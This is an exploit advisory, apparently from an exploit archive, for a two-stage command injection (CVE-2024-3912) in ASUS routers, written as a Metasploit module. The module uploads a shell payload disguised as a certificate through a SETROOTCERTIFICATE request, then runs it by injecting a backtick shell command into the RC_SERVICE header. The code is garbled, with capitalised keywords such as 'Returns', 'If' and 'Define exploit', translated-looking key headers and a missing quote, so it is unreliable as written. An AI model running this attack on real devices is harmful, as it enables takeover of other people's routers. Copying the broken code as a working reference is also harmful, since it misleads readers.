📄 ASUS Router Multi-Stage Command Injection

=============================================================================================================================================
    | # Title     : Asus router Multi‑Stage Command Injection via SETROOTCERTIFICATE Leading to Remote Command Execution                        |
    | # Author    : indoushka                                                                                                                   |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits)                                                            |
    | # Vendor    : https://router.asus.com/                                                                                                    |
    =============================================================================================================================================
    
    [+] Summary    : A multi‑stage command injection vulnerability CVE-2024-3912 allows an attacker to achieve remote command execution on a vulnerable device by abusing the SETROOTCERTIFICATE and APPLYAPP HTTP methods. 
                     In the first stage, a malicious shell script is uploaded to the target system disguised as a certificate file through the SETROOTCERTIFICATE request. 
    				 The uploaded content is written to the filesystem where it can later be executed. In the second stage, the attacker triggers command execution by injecting 
    				 a shell command into the RC_SERVICE header using the APPLYAPP request, which executes the previously uploaded script. 
                     Successful exploitation results in arbitrary command execution with the privileges of the affected service.
    			  
    [+] POC   : 
    
    ##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
    
    Rank = ExcellentRanking
    
    include Msf::Exploit::Remote::HttpClient
    
    def initialize(info = {})
    super(update_info(info,
    'Name' => 'Multi-Stage Command Injection Exploit (SETROOTCERTIFICATE)',
    'Description' => %q{
    This module exploits a multi-stage command injection vulnerability.
    Stage 1: Loads a script disguised as a certificate.
    
    Stage 2: Executes the script via RC_SERVICE command injection.
    
    },
    'Author' => [ 'indoushka' ],
    
    'License' => MSF_LICENSE,
    
    'Platform' => 'unix',
    
    'Arch' => ARCH_CMD,
    
    'Targets' => [ ['Generic Device', {}] ],
    
    'DefaultTarget' => 0,
    
    'DisclosureDate' => '2026-03-07'
    ))
    
    register_options(
    [
    Opt::RPORT(443),
    OptBool.new('SSL', [true, 'Use SSL/TLS', true])
    
    ]
    
    )
    end
    
    def check
    print_status("Checking the target's response...")
    
    res = send_request_cgi({
    'method' => 'GET',
    'uri' => normalize_uri(target_uri.path, '/')
    
    })
    
    Returns CheckCode::Unknown unless res
    
    If res.code == 200
    
    Returns CheckCode::Detected
    End
    
    CheckCode::Safe
    End
    
    Define exploit
    
    payload_body = <<~XML
    
    <?xml version="1.0" encoding="UTF-8" standalone="yes"?>
    
    <content>
    
    <key>-----Beginning of private RSA key-----id</key>
    
    <cert><![CDATA[
    
    #!/bin/sh
    #{payload.encoded}
    
    ]]></cert>
    
    <intermediate_crt>-----Beginning of certificate-----</intermediate_crt>
    
    </content>
    
    XML
    
    print_status("Phase 1: Load payload via SETROOTCERTIFICATE")
    
    res = send_request_cgi({
    'method' => 'SETROOTCERTIFICATE',
    
    'uri' => normalize_uri(target_uri.path, '/favicon.ico/'),
    
    'data' => payload_body
    
    }, 20)
    
    unless res
    fail_with(Failure::Unreachable, "No response received from target")
    
    end
    
    print_good("Payload complete")
    
    Rex.sleep(1)
    
    print_status("Phase 2: Starting execution via APPLYAPP")
    
    res = send_request_cgi({
    'method' => 'APPLYAPP',
    
    uri' => normalize_uri(target_uri.path, '/favicon.ico/'),
    
    'headers' =>
    
    {
    'ACTION_MODE' => 'apply',
    
    'SET_NVRAM' => 'aa',
    
    'RC_SERVICE' => '`sh /etc/cert.pem.1`'
    
    }
    }, 20)
    
    unless res
    
    fail_with(Failure::Unreachable, "No response received during execution")
    end
    
    print_good("Exploitation request sent successfully")
    end
    end
    
    Greetings to :==============================================================================
    jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
    ============================================================================================